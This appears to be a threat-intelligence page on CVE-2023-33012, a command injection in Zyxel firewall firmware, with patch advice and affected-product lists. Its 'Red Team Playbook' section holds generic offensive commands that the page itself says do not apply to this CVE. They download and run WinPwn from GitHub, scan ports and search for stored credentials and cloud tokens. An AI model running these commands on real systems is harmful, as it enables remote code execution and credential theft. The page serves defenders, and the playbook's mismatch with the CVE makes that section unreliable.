CVE-2023-33012
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the configuration parser of Zyxel ATP series firmware and related models. The flaw arises when parsing crafted GRE configuration data while cloud management mode is enabled, allowing injection of arbitrary OS commands. The affected component is the configuration parser handling GRE tunnel parameters in specific Zyxel firewall and VPN firmware versions.
Vulnerability Description
A command injection vulnerability in the configuration parser of the Zyxel ATP series firmware versions 5.10 through 5.36 Patch 2, USG FLEX series firmware versions 5.00 through 5.36 Patch 2, USG FLEX 50(W) series firmware versions 5.10 through 5.36 Patch 2, USG20(W)-VPN series firmware versions 5.10 through 5.36 Patch 2, and VPN series firmware versions 5.00 through 5.36 Patch 2, could allow an unauthenticated, LAN-based attacker to execute some OS commands by using a crafted GRE configuration when the cloud management mode is enabled.
Impact
An unauthenticated attacker with LAN access can execute arbitrary operating system commands on affected Zyxel devices by exploiting the GRE configuration parser flaw, enabling full compromise of device functionality. No user interaction or authentication is required, as indicated by the CVSS vector (AV:A/AC:L/PR:N/UI:N). This can lead to unauthorized control, data exposure, and disruption of network security infrastructure in environments utilizing cloud management mode.
Solution
Zyxel has released firmware updates addressing this vulnerability for affected ATP, USG FLEX, and VPN series devices up to version 5.36 Patch 2. Administrators should apply the latest firmware updates as detailed in Zyxel's official security advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-firewalls-and-wlan-controllers. Following Zyxel's prescribed upgrade procedures ensures remediation of the command injection flaw in the configuration parser.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A command injection vulnerability has been identified in the configuration parser of specific Zyxel firmware versions, affecting a range of products including the ATP series and USG FLEX series. This flaw allows an unauthenticated attacker on the local area network (LAN) to execute arbitrary operating system commands by crafting a malicious GRE (Generic Routing Encapsulation) configuration when cloud management mode is enabled. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a significant risk to the integrity and confidentiality of the affected systems.
Attack vectors for this vulnerability primarily involve an attacker leveraging local network access to send specially crafted GRE configurations to the vulnerable devices. Since the command injection occurs without authentication, it lowers the barrier for exploitation, making it accessible to any malicious actor within the network perimeter. Once exploited, the attacker could execute arbitrary commands with the privileges of the affected device, potentially leading to unauthorized access, data exfiltration, or even complete system compromise. Scenarios could include an attacker gaining control over network traffic, manipulating device configurations, or deploying further malicious payloads within the network.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Zyxel devices for network security and management. A successful exploitation could lead to severe business risks, including data breaches, service disruptions, and reputational damage. The ability to execute commands on critical network infrastructure can facilitate lateral movement within an organization's network, allowing attackers to target other systems and sensitive data. Furthermore, the implications extend beyond immediate financial loss; regulatory compliance issues may arise if sensitive information is compromised, leading to potential legal ramifications.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions that address known vulnerabilities is crucial. Network segmentation can also limit the exposure of vulnerable devices to untrusted networks. Intrusion detection systems (IDS) should be configured to monitor for unusual traffic patterns indicative of exploitation attempts, such as malformed GRE packets. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the command injection vulnerability in Zyxel firmware represents a critical security concern for affected organizations. The potential for unauthorized command execution poses significant risks to network integrity and data security. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare their defenses against such vulnerabilities. Implementing robust detection and mitigation strategies will be essential in safeguarding their network environments from exploitation.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-33012, reflecting a growing likelihood of exploitation in the near term. This upward trend, although not rapid, signals heightened interest or activity around this Zyxel firmware command injection vulnerability. Concurrently, the availability of a Metasploit module targeting multiple affected Zyxel devices, despite limitations in real-device testing, lowers the barrier for adversaries to develop and deploy exploits. For defenders, this evolving landscape underscores an elevated risk of unauthorized command execution originating from local network attackers, which could compromise device integrity and broader network security. The incremental rise in exploitation probability, combined with accessible attack tools, warrants an adjusted risk posture that recognizes a more imminent threat environment, particularly for organizations relying on vulnerable Zyxel firmware versions.
Affected Products (22)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Usg 20w-Vpn Firmware | All |
cpe:2.3:o:zyxel:usg_20w-vpn_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg 2200-Vpn Firmware | All |
cpe:2.3:o:zyxel:usg_2200-vpn_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 200 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 50 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_50_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 500 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 50w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_50w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 700 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp100 Firmware | All |
cpe:2.3:o:zyxel:zywall_atp100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp100w Firmware | All |
cpe:2.3:o:zyxel:zywall_atp100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp200 Firmware | All |
cpe:2.3:o:zyxel:zywall_atp200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp500 Firmware | All |
cpe:2.3:o:zyxel:zywall_atp500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp700 Firmware | All |
cpe:2.3:o:zyxel:zywall_atp700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Atp800 Firmware | All |
cpe:2.3:o:zyxel:zywall_atp800_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Vpn100 Firmware | All |
cpe:2.3:o:zyxel:zywall_vpn100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Vpn2s Firmware | All |
cpe:2.3:o:zyxel:zywall_vpn2s_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Vpn300 Firmware | All |
cpe:2.3:o:zyxel:zywall_vpn300_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Vpn50 Firmware | All |
cpe:2.3:o:zyxel:zywall_vpn50_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Vpn 100 Firmware | All |
cpe:2.3:o:zyxel:zywall_vpn_100_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Zyxel parse_config.py Command Injection
exploits/linux/http/zyxel_parse_config_rce
|
SSD Secure Disclosure technical team, jheysel-r7 | Unknown | linux, unix | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-33012 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-firewalls-and-wlan-controllers |